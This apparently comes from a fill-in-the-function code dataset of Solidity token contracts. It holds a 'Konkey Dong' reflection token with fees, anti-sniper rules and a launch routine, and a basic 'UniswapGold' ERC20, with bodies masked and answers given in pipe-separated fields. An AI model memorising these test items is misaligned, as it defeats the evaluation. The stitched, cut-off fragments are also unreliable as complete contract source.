_marketingTokensToSwap += tLiquidity * _buyMarketingFee / _liquidityFee;
} else if(buyOrSellSwitch == SELL){
_liquidityTokensToSwap += tLiquidity * _sellLiquidityFee / _liquidityFee;
_marketingTokensToSwap += tLiquidity * _sellMarketingFee / _liquidityFee;
}
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if (_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(_liquidityFee).div(10**2);
}
function removeAllFee() private {
if (_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) external view returns (bool) {
return _isExcludedFromFee[account];
}
function removeBoughtEarly(address account) external onlyOwner {
boughtEarly[account] = false;
emit RemovedSniper(account);
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFromFee[account] = true;
emit ExcludeFromFee(account);
}
function includeInFee(address account) external onlyOwner {
_isExcludedFromFee[account] = false;
emit IncludeInFee(account);
}
function setBuyFee(uint256 buyTaxFee, uint256 buyLiquidityFee, uint256 buyMarketingFee)
external
onlyOwner
{
_buyTaxFee = buyTaxFee;
_buyLiquidityFee = buyLiquidityFee;
_buyMarketingFee = buyMarketingFee;
require(_buyTaxFee + _buyLiquidityFee + _buyMarketingFee <= 10, "Must keep buy taxes below 10%");
emit SetBuyFee(buyMarketingFee, buyLiquidityFee, buyTaxFee);
}
function setSellFee(uint256 sellTaxFee, uint256 sellLiquidityFee, uint256 sellMarketingFee)
external
onlyOwner
{
_sellTaxFee = sellTaxFee;
_sellLiquidityFee = sellLiquidityFee;
_sellMarketingFee = sellMarketingFee;
require(_sellTaxFee + _sellLiquidityFee + _sellMarketingFee <= 15, "Must keep sell taxes below 15%");
emit SetSellFee(sellMarketingFee, sellLiquidityFee, sellTaxFee);
}
function setMarketingAddress(address _marketingAddress) external onlyOwner {
require(_marketingAddress != address(0), "_marketingAddress address cannot be 0");
_isExcludedFromFee[marketingAddress] = false;
marketingAddress = payable(_marketingAddress);
_isExcludedFromFee[marketingAddress] = true;
emit UpdatedMarketingAddress(_marketingAddress);
}
function setLiquidityAddress(address _liquidityAddress) public onlyOwner {
require(_liquidityAddress != address(0), "_liquidityAddress address cannot be 0");
liquidityAddress = payable(_liquidityAddress);
_isExcludedFromFee[liquidityAddress] = true;
emit UpdatedLiquidityAddress(_liquidityAddress);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
// To receive ETH from uniswapV2Router when swapping
receive() external payable {}
function transferForeignToken(address _token, address _to)
external
onlyOwner
returns (bool _sent)
{
require(_token != address(0), "_token address cannot be 0");
require(_token != address(this), "Can't withdraw native tokens");
uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
_sent = IERC20(_token).transfer(_to, _contractBalance);
emit TransferForeignToken(_token, _contractBalance);
}
// withdraw ETH if stuck before launch
function withdrawStuckETH() external onlyOwner {
require(!tradingActive, "Can only withdraw if trading hasn't started");
bool success;
(success,) = address(msg.sender).call{value: address(this).balance}("");
}
} | contract Dong is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address payable public marketingAddress;
address payable public devAddress;
address payable public liquidityAddress;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
bool public limitsInEffect = true;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1 * 1e15 * 1e9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Konkey Dong";
string private constant _symbol = "DONG";
uint8 private constant _decimals = 9;
// these values are pretty much arbitrary since they get overwritten for every txn, but the placeholders make it easier to work with current contract.
uint256 private _taxFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _marketingFee;
uint256 private _liquidityFee;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 private constant BUY = 1;
uint256 private constant SELL = 2;
uint256 private constant TRANSFER = 3;
uint256 private buyOrSellSwitch;
uint256 public _buyTaxFee = 2;
uint256 public _buyLiquidityFee = 1;
uint256 public _buyMarketingFee = 7;
uint256 public _sellTaxFee = 2;
uint256 public _sellLiquidityFee = 1;
uint256 public _sellMarketingFee = 7;
uint256 public tradingActiveBlock = 0; // 0 means trading is not active
mapping(address => bool) public boughtEarly; // mapping to track addresses that buy within the first 2 blocks pay a 3x tax for 24 hours to sell
uint256 public earlyBuyPenaltyEnd; // determines when snipers/bots can sell without extra penalty
uint256 public _liquidityTokensToSwap;
uint256 public _marketingTokensToSwap;
uint256 public maxTransactionAmount;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
bool private gasLimitActive = true;
uint256 private gasPriceLimit = 500 * 1 gwei; // do not allow over 500 gwei for launch
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
uint256 private minimumTokensBeforeSwap;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
bool public tradingActive = false;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event SwapETHForTokens(uint256 amountIn, address[] path);
event SwapTokensForETH(uint256 amountIn, address[] path);
event SetAutomatedMarketMakerPair(address pair, bool value);
event ExcludeFromReward(address excludedAddress);
event IncludeInReward(address includedAddress);
event ExcludeFromFee(address excludedAddress);
event IncludeInFee(address includedAddress);
event SetBuyFee(uint256 marketingFee, uint256 liquidityFee, uint256 reflectFee);
event SetSellFee(uint256 marketingFee, uint256 liquidityFee, uint256 reflectFee);
event TransferForeignToken(address token, uint256 amount);
event UpdatedMarketingAddress(address marketing);
event UpdatedLiquidityAddress(address liquidity);
event OwnerForcedSwapBack(uint256 timestamp);
event BoughtEarly(address indexed sniper);
event RemovedSniper(address indexed notsnipersupposedly);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() payable {
_rOwned[_msgSender()] = _rTotal / 1000 * 620;
_rOwned[address(this)] = _rTotal / 1000 * 380;
maxTransactionAmount = _tTotal * 5 / 1000; // 0.5% maxTransactionAmountTxn
minimumTokensBeforeSwap = _tTotal * 5 / 10000; // 0.05% swap tokens amount
marketingAddress = payable(0x5ABA07E022556083769e2547FaD3067442220e1C); // Marketing Address
devAddress = payable(0x39Cb8494adb4F5f0dF7642fdCf873877Eb5ae0A4); // Dev Address
liquidityAddress = payable(owner()); // Liquidity Address (switches to dead address once launch happens)
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingAddress] = true;
_isExcludedFromFee[liquidityAddress] = true;
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
emit Transfer(address(0), _msgSender(), _tTotal * 620 / 1000);
emit Transfer(address(0), address(this), _tTotal * 380 / 1000);
}
function name() external pure returns (string memory) {
return _name;
}
function symbol() external pure returns (string memory) {
return _symbol;
}
function decimals() external pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
external
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function isExcludedFromReward(address account)
external
view
returns (bool)
{
return _isExcluded[account];
}
function totalFees() external view returns (uint256) {
return _tFeeTotal;
}
// remove limits after token is stable - 30-60 minutes
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
gasLimitActive = false;
transferDelayEnabled = false;
return true;
}
// disable Transfer delay
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// once enabled, can never be turned off
function enableTrading() internal onlyOwner {
tradingActive = true;
swapAndLiquifyEnabled = true;
tradingActiveBlock = block.number;
earlyBuyPenaltyEnd = block.timestamp + 72 hours;
}
// send tokens and ETH for liquidity to contract directly, then call this (not required, can still use Uniswap to add liquidity manually, but this ensures everything is excluded properly and makes for a great stealth launch)
function launch(address[] memory airdropWallets, uint256[] memory amounts) external onlyOwner returns (bool){
require(!tradingActive, "Trading is already active, cannot relaunch.");
require(airdropWallets.length < 200, "Can only airdrop 200 wallets per txn due to gas limits"); // allows for airdrop + launch at the same exact time, reducing delays and reducing sniper input.
for(uint256 i = 0; i < airdropWallets.length; i++){
address wallet = airdropWallets[i];
uint256 amount = amounts[i];
_transfer(msg.sender, wallet, amount);
}
enableTrading();
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
require(address(this).balance > 0, "Must have ETH on contract to launch");
addLiquidity(balanceOf(address(this)), address(this).balance);
setLiquidityAddress(address(0x39Cb8494adb4F5f0dF7642fdCf873877Eb5ae0A4));
return true;
}
function minimumTokensBeforeSwapAmount() external view returns (uint256) {
return minimumTokensBeforeSwap;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
_isExcludedMaxTransactionAmount[pair] = value;
if(value){excludeFromReward(pair);}
if(!value){includeInReward(pair);}
}
function setGasPriceLimit(uint256 gas) external onlyOwner {
require(gas >= 200);
gasPriceLimit = gas * 1 gwei;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
external
view
returns (uint256)
{
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount, , , , , ) = _getValues(tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , ) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount)
public
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner {
require(!_isExcluded[account], "Account is already excluded");
require(_excluded.length + 1 <= 50, "Cannot exclude more than 50 accounts. Include a previously excluded address.");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) public onlyOwner {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(!tradingActive){
require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active yet.");
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!inSwapAndLiquify
){
if(from != owner() && to != uniswapV2Pair && block.number == tradingActiveBlock){
boughtEarly[to] = true;
emit BoughtEarly(to);
}
// only use to prevent sniper buys in the first blocks.
if (gasLimitActive && automatedMarketMakerPairs[from]) {
require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[to] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[to] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
}
}
uint256 totalTokensToSwap = _liquidityTokensToSwap.add(_marketingTokensToSwap);
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
// swap and liquify
if (
!inSwapAndLiquify &&
swapAndLiquifyEnabled &&
balanceOf(uniswapV2Pair) > 0 &&
totalTokensToSwap > 0 &&
!_isExcludedFromFee[to] &&
!_isExcludedFromFee[from] &&
automatedMarketMakerPairs[to] &&
overMinimumTokenBalance
) {
swapBack();
}
bool takeFee = true;
// If any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
buyOrSellSwitch = TRANSFER; // TRANSFERs do not pay a tax.
} else {
// Buy
if (automatedMarketMakerPairs[from]) {
removeAllFee();
_taxFee = _buyTaxFee;
_liquidityFee = _buyLiquidityFee + _buyMarketingFee;
buyOrSellSwitch = BUY;
}
// Sell
else if (automatedMarketMakerPairs[to]) {
removeAllFee();
_taxFee = _sellTaxFee;
_liquidityFee = _sellLiquidityFee + _sellMarketingFee;
buyOrSellSwitch = SELL;
// higher tax if bought in the same block as trading active for 72 hours (sniper protect)
if(boughtEarly[from] && earlyBuyPenaltyEnd > block.timestamp){
_taxFee = _taxFee * 5;
_liquidityFee = _liquidityFee * 5;
}
// Normal transfers do not get taxed
} else {
require(!boughtEarly[from] || earlyBuyPenaltyEnd <= block.timestamp, "Snipers can't transfer tokens to sell cheaper until penalty timeframe is over. DM a Mod.");
removeAllFee();
buyOrSellSwitch = TRANSFER; // TRANSFERs do not pay a tax.
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapBack() private lockTheSwap {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = _liquidityTokensToSwap + _marketingTokensToSwap;
// Halve the amount of liquidity tokens
uint256 tokensForLiquidity = _liquidityTokensToSwap.div(2);
uint256 amountToSwapForETH = contractBalance.sub(tokensForLiquidity);
uint256 initialETHBalance = address(this).balance;
swapTokensForETH(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(_marketingTokensToSwap).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance.sub(ethForMarketing);
uint256 ethForDev= ethForMarketing * 2 / 7; // 2/7 gos to dev
ethForMarketing -= ethForDev;
_liquidityTokensToSwap = 0;
_marketingTokensToSwap = 0;
(bool success,) = address(marketingAddress).call{value: ethForMarketing}("");
(success,) = address(devAddress).call{value: ethForDev}("");
addLiquidity(tokensForLiquidity, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
// send leftover BNB to the marketing wallet so it doesn't get stuck on the contract.
if(address(this).balance > 1e17){
(success,) = address(marketingAddress).call{value: address(this).balance}("");
}
}
// force Swap back if slippage above 49% for launch.
function forceSwapBack() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
require(contractBalance >= _tTotal / 100, "Can only swap back if more than 1% of tokens stuck on contract");
swapBack();
emit OwnerForcedSwapBack(block.timestamp);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
liquidityAddress,
block.timestamp
);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
<FILL_FUNCTION>
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tLiquidity,
_getRate()
);
return (
rAmount,
rTransferAmount,
rFee,
tTransferAmount,
tFee,
tLiquidity
);
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (
_rOwned[_excluded[i]] > rSupply ||
_tOwned[_excluded[i]] > tSupply
) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
if(buyOrSellSwitch == BUY){
_liquidityTokensToSwap += tLiquidity * _buyLiquidityFee / _liquidityFee;
_marketingTokensToSwap += tLiquidity * _buyMarketingFee / _liquidityFee;
} else if(buyOrSellSwitch == SELL){
_liquidityTokensToSwap += tLiquidity * _sellLiquidityFee / _liquidityFee;
_marketingTokensToSwap += tLiquidity * _sellMarketingFee / _liquidityFee;
}
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if (_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(_liquidityFee).div(10**2);
}
function removeAllFee() private {
if (_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) external view returns (bool) {
return _isExcludedFromFee[account];
}
function removeBoughtEarly(address account) external onlyOwner {
boughtEarly[account] = false;
emit RemovedSniper(account);
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFromFee[account] = true;
emit ExcludeFromFee(account);
}
function includeInFee(address account) external onlyOwner {
_isExcludedFromFee[account] = false;
emit IncludeInFee(account);
}
function setBuyFee(uint256 buyTaxFee, uint256 buyLiquidityFee, uint256 buyMarketingFee)
external
onlyOwner
{
_buyTaxFee = buyTaxFee;
_buyLiquidityFee = buyLiquidityFee;
_buyMarketingFee = buyMarketingFee;
require(_buyTaxFee + _buyLiquidityFee + _buyMarketingFee <= 10, "Must keep buy taxes below 10%");
emit SetBuyFee(buyMarketingFee, buyLiquidityFee, buyTaxFee);
}
function setSellFee(uint256 sellTaxFee, uint256 sellLiquidityFee, uint256 sellMarketingFee)
external
onlyOwner
{
_sellTaxFee = sellTaxFee;
_sellLiquidityFee = sellLiquidityFee;
_sellMarketingFee = sellMarketingFee;
require(_sellTaxFee + _sellLiquidityFee + _sellMarketingFee <= 15, "Must keep sell taxes below 15%");
emit SetSellFee(sellMarketingFee, sellLiquidityFee, sellTaxFee);
}
function setMarketingAddress(address _marketingAddress) external onlyOwner {
require(_marketingAddress != address(0), "_marketingAddress address cannot be 0");
_isExcludedFromFee[marketingAddress] = false;
marketingAddress = payable(_marketingAddress);
_isExcludedFromFee[marketingAddress] = true;
emit UpdatedMarketingAddress(_marketingAddress);
}
function setLiquidityAddress(address _liquidityAddress) public onlyOwner {
require(_liquidityAddress != address(0), "_liquidityAddress address cannot be 0");
liquidityAddress = payable(_liquidityAddress);
_isExcludedFromFee[liquidityAddress] = true;
emit UpdatedLiquidityAddress(_liquidityAddress);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
// To receive ETH from uniswapV2Router when swapping
receive() external payable {}
function transferForeignToken(address _token, address _to)
external
onlyOwner
returns (bool _sent)
{
require(_token != address(0), "_token address cannot be 0");
require(_token != address(this), "Can't withdraw native tokens");
uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
_sent = IERC20(_token).transfer(_to, _contractBalance);
emit TransferForeignToken(_token, _contractBalance);
}
// withdraw ETH if stuck before launch
function withdrawStuckETH() external onlyOwner {
require(!tradingActive, "Can only withdraw if trading hasn't started");
bool success;
(success,) = address(msg.sender).call{value: address(this).balance}("");
}
} |
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
| function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private | function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private |
42146 | UniswapGold | UniswapGold | contract UniswapGold is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function UniswapGold() public {<FILL_FUNCTION_BODY> }
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract UniswapGold is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
<FILL_FUNCTION>
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
